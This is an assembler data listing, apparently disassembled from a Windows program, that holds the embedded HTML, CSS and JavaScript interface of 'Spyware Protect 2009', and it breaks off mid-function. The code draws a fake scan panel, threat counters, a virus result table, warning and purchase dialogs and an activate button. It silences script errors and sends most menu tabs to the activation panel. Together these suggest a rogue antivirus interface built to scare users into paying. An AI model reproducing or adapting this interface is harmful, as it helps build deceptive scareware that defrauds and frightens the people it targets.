db ' color:#fff;',0Dh,0Ah
db '}',0Dh,0Ah
db '.contentBlock-rightColumn {',0Dh,0Ah
db 9,'position: absolute;',0Dh,0Ah
db 9,'top: 108px;',0Dh,0Ah
db 9,'left: 249px;',0Dh,0Ah
db ' width:691px;',0Dh,0Ah
db ' height:475px;',0Dh,0Ah
db ' background:url(content-rigthColumn-bg.gif) no-repeat right to'
db 'p;',0Dh,0Ah
db ' padding: 0 10px 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db '.rightColumnPadding {',0Dh,0Ah
db 9,'padding:25px 0 0 14px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.contentHeader {',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' height:40px;',0Dh,0Ah
db ' background:url(content-header-bg.gif) no-repeat center top;',0Dh
db 0Ah
db '}',0Dh,0Ah
db '.contentHeaderPadding-tab {',0Dh,0Ah
db ' padding:0 0 0 10px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.verticalAlignMiddle {',0Dh,0Ah
db ' vertical-align:middle;',0Dh,0Ah
db '}',0Dh,0Ah
db '.marginHeaderIcon {',0Dh,0Ah
db ' margin:2px 0 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db '.contentHeader span {',0Dh,0Ah
db ' font-size:20px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#fff;',0Dh,0Ah
db '}',0Dh,0Ah
db '.currentState {',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' height:80px;',0Dh,0Ah
db ' background:url(currentState-bg.gif) no-repeat center top;',0Dh,0Ah
db ' margin:9px 0 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db '.currentStatePadding {',0Dh,0Ah
db ' padding:7px 0 0 10px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.sigVerPadding {',0Dh,0Ah
db ' padding:0 8px 0 0;',0Dh,0Ah
db '}',9,0Dh,0Ah
db '.verticalAlignTop {',0Dh,0Ah
db ' vertical-align:top;',0Dh,0Ah
db '}',0Dh,0Ah
db '.currentState span {',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db ' color:#4e4e4e; ',0Dh,0Ah
db '}',0Dh,0Ah
db '.currentState .green {',0Dh,0Ah
db ' color:#578427; ',0Dh,0Ah
db '}',0Dh,0Ah
db '.scanPath {',0Dh,0Ah
db ' height:50px;',0Dh,0Ah
db ' background:url(scan-path-bg.gif) no-repeat center center;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanPathTable {',0Dh,0Ah
db ' width:630px;',0Dh,0Ah
db ' height:30px;',0Dh,0Ah
db ' table-layout: fixed;',0Dh,0Ah
db ' margin:0 0 0 12px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanPathIconTd {',0Dh,0Ah
db ' width:21px; ',0Dh,0Ah
db ' text-align:center;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '#filename {',0Dh,0Ah
db ' width:100%; ',0Dh,0Ah
db ' behavior:path;',0Dh,0Ah
db ' overflow-x:hidden;',0Dh,0Ah
db ' white-space:nowrap;',0Dh,0Ah
db ' text-overflow:ellipsis;',0Dh,0Ah
db ' color:#4e4e4e;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanPathTotal {',0Dh,0Ah
db ' width:77px;',0Dh,0Ah
db ' overflow-x:hidden;',0Dh,0Ah
db ' padding:0 0 0 3px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.threatsTotal {',0Dh,0Ah
db ' width:97px;',0Dh,0Ah
db ' overflow-x:hidden;',0Dh,0Ah
db ' padding:0 0 0 3px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanPathTotalTd {',0Dh,0Ah
db ' width:84px;',0Dh,0Ah
db ' background:url(scan-path-total-bg.gif) no-repeat center cente'
db 'r;',0Dh,0Ah
db '}',0Dh,0Ah
db '.threatsTotalTd {',0Dh,0Ah
db ' width:104px;',0Dh,0Ah
db ' background:url(threats-total-bg.gif) no-repeat center center;'
db 0Dh,0Ah
db '}',0Dh,0Ah
db '.totalText {',0Dh,0Ah
db ' font-size:10px!important;',0Dh,0Ah
db ' white-space:nowrap; ',0Dh,0Ah
db '}',0Dh,0Ah
db '.dataStat {',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' height:80px;',0Dh,0Ah
db ' background:url(currentState-bg.gif) no-repeat center top;',0Dh,0Ah
db ' margin:9px 0 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.dataStatPadding {',0Dh,0Ah
db ' padding:7px 0 0 10px;',0Dh,0Ah
db 0Dh,0Ah
db '}',0Dh,0Ah
db '.dataStat span {',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db ' color:#4e4e4e;',0Dh,0Ah
db '}',0Dh,0Ah
db '.dataStat .green, .tabTextBg .green {',0Dh,0Ah
db ' color:#578427;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db '}',0Dh,0Ah
db '.dataStat .blue, .tabTextBg .blue {',0Dh,0Ah
db ' color:#68a4ae;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db '}',0Dh,0Ah
db '.dataStat .lt-grey, .tabTextBg .lt-grey {',0Dh,0Ah
db ' font-size:11px;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#bfbfbf;',0Dh,0Ah
db '}',0Dh,0Ah
db '.rezultTableHead {',0Dh,0Ah
db ' margin:4px 0 0 0;',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' height:26px;',0Dh,0Ah
db ' background:url(rezult-table-head-bg.gif) no-repeat left cente'
db 'r;',0Dh,0Ah
db 0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableHeadCell1{',0Dh,0Ah
db ' width:138px; ',0Dh,0Ah
db ' border-right:1px solid #dadada;',0Dh,0Ah
db ' overflow:hidden;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableHeadCell2{',0Dh,0Ah
db ' width:93px;',0Dh,0Ah
db ' border-right:1px solid #dadada;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableHeadCell3{',0Dh,0Ah
db ' width:100%%;',0Dh,0Ah
db ' padding:0 17px 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTablePath {',0Dh,0Ah
db ' height:17px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db '#scrollRezultTable {',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' height:129px;',0Dh,0Ah
db ' background:url(rezult-table-bg.gif) no-repeat left top;',0Dh,0Ah
db 9,'background-position-y: expression(this.scrollTop);',0Dh,0Ah
db ' overflow-x:hidden;',0Dh,0Ah
db ' overflow-y:scroll;',9,0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTable {',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' table-layout: fixed;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTable td {',0Dh,0Ah
db 9,'text-overflow:ellipsis;',0Dh,0Ah
db 9,'overflow:hidden;',0Dh,0Ah
db 9,'white-space:nowrap;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableHead span {',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db ' color:#4e4e4e;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableCell1 {',0Dh,0Ah
db 9,'height:26px;',0Dh,0Ah
db 9,'width:145px;',0Dh,0Ah
db ' aborder-right:1px solid #dadada;',0Dh,0Ah
db '}',0Dh,0Ah
db '.rezultTableCell2 {',0Dh,0Ah
db 9,'height:26px;',0Dh,0Ah
db 9,'width:100px;',0Dh,0Ah
db ' aborder-right:1px solid #dadada;',0Dh,0Ah
db '}',0Dh,0Ah
db '.rezultTableCell3 {',0Dh,0Ah
db 9,'height:26px;',0Dh,0Ah
db 9,'width:100%;',0Dh,0Ah
db ' aborder-right:1px solid #dadada;',0Dh,0Ah
db '}',0Dh,0Ah
db '.rezultTableCell1 div {',0Dh,0Ah
db ' font-size:13px;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db ' color:#00649c;',0Dh,0Ah
db ' overflow:hidden;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableCell2 div {',0Dh,0Ah
db ' font-size:13px;',0Dh,0Ah
db ' font-style:italic;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#4e4e4e;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' overflow:hidden;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableCell3 div, .color1, .color2, .color3, .color4 {',0Dh,0Ah
db ' font-size:13px;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#595959;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' overflow:hidden;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableCell3 a:link, .rezultTableCell3 a:visited, .rezultTab'
db 'leCell3 a:hover, .rezultTableCell3 a:active',0Dh,0Ah
db '{',0Dh,0Ah
db ' color:#595959; ',0Dh,0Ah
db 9,'border: none;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTableCell3 .color1 { /* Text Color for Status cell! */',0Dh
db 0Ah
db ' color:#7c4f19!important; ',0Dh,0Ah
db '}',0Dh,0Ah
db '.rezultTable div, .rezultTableHead span {',0Dh,0Ah
db ' padding:0 0 0 5px;',0Dh,0Ah
db 0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTable td {',0Dh,0Ah
db ' overflow:hidden;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.rezultTable tr {',0Dh,0Ah
db ' height:20px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.textAlignRight {',0Dh,0Ah
db ' text-align:right;',0Dh,0Ah
db '}',0Dh,0Ah
db '.scanProgress {',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' height:56px;',0Dh,0Ah
db ' background:url(scan-progress-bg.gif) no-repeat center top;',0Dh,0Ah
db ' margin:9px 0 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanProgress span {',0Dh,0Ah
db 'color:#4E4E4E;',0Dh,0Ah
db 'font-family:Verdana,sans-serif;',0Dh,0Ah
db 'font-size:12px;',0Dh,0Ah
db 'font-weight:bold;',0Dh,0Ah
db '}',0Dh,0Ah
db '.scanProgressPadding {',0Dh,0Ah
db ' padding:0 0 0 10px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanProgressComplPadding {',0Dh,0Ah
db ' padding:0 7px 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanProgressTopRow {',0Dh,0Ah
db ' height:25px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.scanProgress span {',0Dh,0Ah
db ' font-weight:bold; ',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.scanProgress span.lt-green {',0Dh,0Ah
db ' color:#89ad1b; ',0Dh,0Ah
db '}',0Dh,0Ah
db '.scanProgressScale {',0Dh,0Ah
db ' width:630px;',0Dh,0Ah
db ' height:21px;',0Dh,0Ah
db ' background:url(scan-progress-scale-bg.gif) no-repeat center c'
db 'enter;',0Dh,0Ah
db ' overflow:hidden;',0Dh,0Ah
db '}',0Dh,0Ah
db '#footerBlock {',0Dh,0Ah
db ' width:940px;',0Dh,0Ah
db ' height:21px;',0Dh,0Ah
db ' ',9,'position: relative;',0Dh,0Ah
db ' top: -8px;',0Dh,0Ah
db ' background:url(footer-bg.gif) no-repeat center top;',0Dh,0Ah
db '}',0Dh,0Ah
db '.headerRightPart {',0Dh,0Ah
db ' padding:7px 20px 0 0;',0Dh,0Ah
db ' text-align:right;',0Dh,0Ah
db '}',0Dh,0Ah
db '.clobut {',0Dh,0Ah
db 9,'position: relative;',0Dh,0Ah
db 9,'top: -80px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db '#contentBlock-leftColumn {',0Dh,0Ah
db 9,'float: left;',0Dh,0Ah
db 9,'position: relative;',0Dh,0Ah
db ' width:249px;',0Dh,0Ah
db ' top: -8px;',0Dh,0Ah
db ' height:475px;',0Dh,0Ah
db ' padding:20px 0 -20px 0;',0Dh,0Ah
db ' background:url(content-leftColumn-bg.gif) no-repeat left top;'
db 0Dh,0Ah
db '}',0Dh,0Ah
db '#contentBlock-leftColumn .but {',0Dh,0Ah
db ' width:241px;',0Dh,0Ah
db ' height:40px;',0Dh,0Ah
db ' background:url(menu-bg.gif) no-repeat left center;',0Dh,0Ah
db '}',0Dh,0Ah
db '#contentBlock-leftColumn .butSelected {',0Dh,0Ah
db ' width:241px;',0Dh,0Ah
db ' height:40px;',0Dh,0Ah
db ' background:url(menu-bg-selected.gif) no-repeat left center;',0Dh
db 0Ah
db '}',0Dh,0Ah
db '.leftColumnTab div {',0Dh,0Ah
db ' padding:0 0 0 75px;',0Dh,0Ah
db ' vaertical-align:middle;',0Dh,0Ah
db ' height:47px;',0Dh,0Ah
db ' font-size:18px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#00667e;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.menuTopMargin {',0Dh,0Ah
db ' margin:5px 0 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tab1 {',0Dh,0Ah
db ' background:url(tab1-pic.gif) no-repeat 25px center;',0Dh,0Ah
db ' position: relative;',0Dh,0Ah
db ' left: -70px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tab2 {',0Dh,0Ah
db ' background:url(tab2-pic.gif) no-repeat 25px center;',0Dh,0Ah
db ' position: relative;',0Dh,0Ah
db ' left: -70px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tab3 {',0Dh,0Ah
db ' background:url(tab3-pic.gif) no-repeat 25px center;',0Dh,0Ah
db ' position: relative;',0Dh,0Ah
db ' left: -70px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tab4 {',0Dh,0Ah
db ' background:url(tab4-pic.gif) no-repeat 25px center;',0Dh,0Ah
db ' position: relative;',0Dh,0Ah
db ' left: -70px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tab5 {',0Dh,0Ah
db ' background:url(tab5-pic.gif) no-repeat 25px center;',0Dh,0Ah
db ' position: relative;',0Dh,0Ah
db ' left: -70px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.menuText {',0Dh,0Ah
db 9,'position:relative;',0Dh,0Ah
db 9,'top:12px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.menuTextTry',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'position:relative;',0Dh,0Ah
db 9,'top:12px;',0Dh,0Ah
db 9,'color:#00a9d1;',0Dh,0Ah
db '}',0Dh,0Ah
db '.regTextMargin {',0Dh,0Ah
db ' text-align:center;',0Dh,0Ah
db ' margin:100px 0 0 8px;',0Dh,0Ah
db ' cursor: hand;',0Dh,0Ah
db '}',0Dh,0Ah
db '.updBase {',0Dh,0Ah
db ' height:50px;',0Dh,0Ah
db ' background: transparent url(upd-base-bg.gif) no-repeat center'
db ' center;',0Dh,0Ah
db ' cursor: hand;',0Dh,0Ah
db '}',0Dh,0Ah
db '.updBasePadding {',0Dh,0Ah
db ' padding:0 0 0 12px;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.updBaseCell {',0Dh,0Ah
db ' margin:0 0 0 3px;',0Dh,0Ah
db ' width:84px;',0Dh,0Ah
db ' height:23px;',0Dh,0Ah
db ' text-align:center;',0Dh,0Ah
db ' vertical-align:middle;',0Dh,0Ah
db '}',0Dh,0Ah
db '.updBaseText {',0Dh,0Ah
db ' color:#fff!important;',0Dh,0Ah
db ' font-size:10px!important;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.updBase span {',0Dh,0Ah
db ' font-size:10px!important;',0Dh,0Ah
db '}',0Dh,0Ah
db '.scanerActionButton {',0Dh,0Ah
db ' width:90px;',0Dh,0Ah
db ' text-align:center;',0Dh,0Ah
db '}',0Dh,0Ah
db '.scanButStart {',0Dh,0Ah
db 9,'width:98px;',0Dh,0Ah
db 9,'height:27px;',0Dh,0Ah
db ' background:url(scaner-action-button-bg.gif) no-repeat;',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db ' color:#fff;',0Dh,0Ah
db ' cursor:hand;',9,0Dh,0Ah
db '}',0Dh,0Ah
db '.tabTextBg {',0Dh,0Ah
db ' width:658px;',0Dh,0Ah
db ' margin:9px 0 0 0;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.tabTextBgPadding {',0Dh,0Ah
db ' padding:7px 7px 7px 7px;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tabTextBg span.header, p{',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db ' color:#4e4e4e;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tabTextBg span{',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db ' color:#4e4e4e;',0Dh,0Ah
db '}',0Dh,0Ah
db '.tabTextBg p {',0Dh,0Ah
db ' font-weight:normal;',0Dh,0Ah
db '}',0Dh,0Ah
db '.activeBut {',0Dh,0Ah
db 9,'width:190px;',0Dh,0Ah
db 9,'height:27px;',0Dh,0Ah
db ' background:url(activate-button-bg.gif) no-repeat;',0Dh,0Ah
db ' font-size:12px;',0Dh,0Ah
db ' font-family:Verdana,sans-serif;',0Dh,0Ah
db ' font-weight:bold;',0Dh,0Ah
db ' color:#fff;',0Dh,0Ah
db ' cursor:hand;',9,0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.virusInfo {',0Dh,0Ah
db 9,'background: url(',27h,'virusinfo-active.gif',27h,') no-repeat;',0Dh,0Ah
db 9,'overflow:hidden;',0Dh,0Ah
db 9,'position:absolute;',0Dh,0Ah
db 9,'left:310px;',0Dh,0Ah
db 9,'top:270px;',0Dh,0Ah
db 9,'width:541px;',0Dh,0Ah
db 9,'height:244px;',0Dh,0Ah
db 9,'z-index:2;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.warningDialog {',0Dh,0Ah
db 9,'background: url(',27h,'warning.gif',27h,') no-repeat;',0Dh,0Ah
db 9,'overflow:hidden;',0Dh,0Ah
db 9,'position:absolute;',0Dh,0Ah
db 9,'left:310px;',0Dh,0Ah
db 9,'top:210px;',0Dh,0Ah
db 9,'width:541px;',0Dh,0Ah
db 9,'height:244px;',0Dh,0Ah
db 9,'z-index:2;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.warningDialogActive',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'background: url(',27h,'warning-active.gif',27h,') no-repeat;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.purchaseDialog',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'background: url(',27h,'purchase.gif',27h,') no-repeat;',0Dh,0Ah
db 9,'overflow:hidden;',0Dh,0Ah
db 9,'position:absolute;',0Dh,0Ah
db 9,'left:310px;',0Dh,0Ah
db 9,'top:250px;',0Dh,0Ah
db 9,'width:541px;',0Dh,0Ah
db 9,'height:244px;',0Dh,0Ah
db 9,'z-index:3;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.purchaseDialogActive {',0Dh,0Ah
db 9,'background: url(',27h,'purchase-active.gif',27h,') no-repeat;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db '.sureDialog {',0Dh,0Ah
db 9,'background: url(',27h,'sure-active.gif',27h,') no-repeat;',0Dh,0Ah
db 9,'overflow:hidden;',0Dh,0Ah
db 9,'position:absolute;',0Dh,0Ah
db 9,'left:310px;',0Dh,0Ah
db 9,'top:290px;',0Dh,0Ah
db 9,'width:541px;',0Dh,0Ah
db 9,'height:244px;',0Dh,0Ah
db 9,'z-index:4;',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'div#content { position: relative; z-index: 1;}',0Dh,0Ah
db 'img#bg { margin-top:8px;}',0Dh,0Ah
db '-->',0Dh,0Ah
db '</style>',0Dh,0Ah
db '<!--[if IE 6]>',0Dh,0Ah
db '<style type="text/css">',0Dh,0Ah
db '#bg { z-index: -1; }',0Dh,0Ah
db '</style>',0Dh,0Ah
db '<![endif]-->',0Dh,0Ah
db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah
db '<script type="text/javascript">',0Dh,0Ah
db '//external.SetTitle("Spyware Protect 2009");',0Dh,0Ah
db 'external.Show(940, 603);',0Dh,0Ah
db 'document.onselectstart =',0Dh,0Ah
db ' function () { return false; };',0Dh,0Ah
db 'function noError(){return true;}',0Dh,0Ah
db 'window.onerror = noError;',0Dh,0Ah
db 0Dh,0Ah
db 9,0Dh,0Ah
db ' ',0Dh,0Ah
db 0Dh,0Ah
db 'function init()',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'var tab1text = document.getElementById(',27h,'tab1text',27h,');',0Dh,0Ah
db 9,'var tab2text = document.getElementById(',27h,'tab2text',27h,');',0Dh,0Ah
db 9,'var tab3text = document.getElementById(',27h,'tab3text',27h,');',0Dh,0Ah
db 9,'var tab4text = document.getElementById(',27h,'tab4text',27h,');',0Dh,0Ah
db 9,'var tab5text = document.getElementById(',27h,'tab5text',27h,');',0Dh,0Ah
db 9,'var tab1 = document.getElementById(',27h,'tab1',27h,');',0Dh,0Ah
db 9,'var tab2 = document.getElementById(',27h,'tab2',27h,');',0Dh,0Ah
db 9,'var tab3 = document.getElementById(',27h,'tab3',27h,');',0Dh,0Ah
db 9,'var tab4 = document.getElementById(',27h,'tab4',27h,');',0Dh,0Ah
db 9,'var tab5 = document.getElementById(',27h,'tab5',27h,');',0Dh,0Ah
db 9,'scan_panel = document.getElementById(',27h,'scan-panel',27h,');',0Dh,0Ah
db 9,'settings_panel = document.getElementById(',27h,'settings-panel',27h,')'
db ';',0Dh,0Ah
db 9,'update_panel = document.getElementById(',27h,'update-panel',27h,');',0Dh,0Ah
db 9,'activate_panel = document.getElementById(',27h,'activate-panel',27h,')'
db ';',0Dh,0Ah
db 9,'help_panel = document.getElementById(',27h,'help-panel',27h,');',0Dh,0Ah
db 0Dh,0Ah
db 9,'virus_table = document.getElementById(',27h,'virusTable',27h,');',0Dh,0Ah
db 9,'scroll_table = document.getElementById(',27h,'scrollRezultTable',27h,')'
db ';',0Dh,0Ah
db 9,'scan_status = document.getElementById(',27h,'IDstatusmessage',27h,');',0Dh
db 0Ah
db 9,'scan_file = document.getElementById(',27h,'IDscanedfile',27h,');',0Dh,0Ah
db 9,'scan_total = document.getElementById(',27h,'IDtotal',27h,');',0Dh,0Ah
db 9,'scan_threats = document.getElementById(',27h,'IDthreats',27h,');',0Dh,0Ah
db 9,0Dh,0Ah
db 9,'progress_bar = document.getElementById(',27h,'progressBar',27h,'); ',0Dh,0Ah
db 9,'progress_percent = document.getElementById(',27h,'progressPercent',27h
db ');',0Dh,0Ah
db 0Dh,0Ah
db 9,'scan_button = document.getElementById(',27h,'scanButton',27h,');',0Dh,0Ah
db 9,0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' ',9,'purchaseActive = false;',0Dh,0Ah
db ' ',9,'warningActive = false;',0Dh,0Ah
db 9,'scanned_files = 0;',0Dh,0Ah
db 9,'scanned_threats = 0;',0Dh,0Ah
db 9,'activeMenu = ',27h,27h,';',0Dh,0Ah
db 9,'prevSel = tab1text;',0Dh,0Ah
db 9,'prevMenu = scan_panel;',0Dh,0Ah
db 9,'prevBut = tab1;',0Dh,0Ah
db 9,'scanMode = false;',0Dh,0Ah
db 9,'onMenuClick(',27h,'tab1',27h,');',0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'function onMenu(id)',0Dh,0Ah
db '{',0Dh,0Ah
db 0Dh,0Ah
db 9,'if(activeMenu == id || scanMode == true) return;',0Dh,0Ah
db 0Dh,0Ah
db 9,'if(prevSel != ',27h,27h,') prevSel.className=',27h,'menuText',27h,';',0Dh,0Ah
db 9,'switch(id)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'case ',27h,'tab1',27h,':',0Dh,0Ah
db 9,9,9,'prevSel = tab1text;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah
db 9,9,9,'prevSel = tab2text;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah
db 9,9,9,'prevSel = tab3text;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah
db 9,9,9,'prevSel = tab4text;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah
db 9,9,9,'prevSel = tab5text;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,'};',0Dh,0Ah
db 9,'prevSel.className = ',27h,'menuTextTry',27h,';',0Dh,0Ah
db 9,0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 'function onMenuClick(id)',0Dh,0Ah
db '{',0Dh,0Ah
db 9,'if(id == activeMenu || scanMode == true) return;',0Dh,0Ah
db 9,0Dh,0Ah
db 9,'if(prevBut != ',27h,27h,') prevBut.className = ',27h,'but',27h,';',0Dh,0Ah
db 9,'if(prevMenu != ',27h,27h,') prevMenu.style.display = ',27h,'none',27h,';',0Dh,0Ah
db 9,0Dh,0Ah
db 9,'switch(id)',0Dh,0Ah
db 9,'{',0Dh,0Ah
db 9,9,'case ',27h,'tab1',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab1;',0Dh,0Ah
db 9,9,9,'prevMenu = scan_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db '/*',9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab2;',0Dh,0Ah
db 9,9,9,'prevMenu = settings_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab3;',0Dh,0Ah
db 9,9,9,'prevMenu = update_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab4;',0Dh,0Ah
db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab5;',0Dh,0Ah
db 9,9,9,'prevMenu = help_panel;',0Dh,0Ah
db 9,9,'break;*/',0Dh,0Ah
db 9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab2;',0Dh,0Ah
db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab3;',0Dh,0Ah
db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab4;',0Dh,0Ah
db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah
db 9,9,9,'prevBut = tab5;',0Dh,0Ah
db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
db 9,9,'break;',0Dh,0Ah
db 9,'};',0Dh,0Ah
db 9,'prevBut.className = ',27h,'butSelected',27h,';',0Dh,0Ah
db 9,'prevMenu.style.display = ',27h,'block',27h,';',0Dh,0Ah
db 9,'prevSel.className=',27h,'menuText',27h,';',0Dh,0Ah
db 9,'activeMenu = id;',0Dh,0Ah
db 0Dh,0Ah
db '}',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'function addVirusTable(name, severity, description)',0Dh,0Ah
db '{',0Dh,0Ah
db ' row = virus_table.insertRow(-1);',0Dh,0Ah
db ' cell1 = row.insertCell(-1);',0Dh,0Ah
db ' cell2 = row.insertCell(-1);',0Dh,0Ah
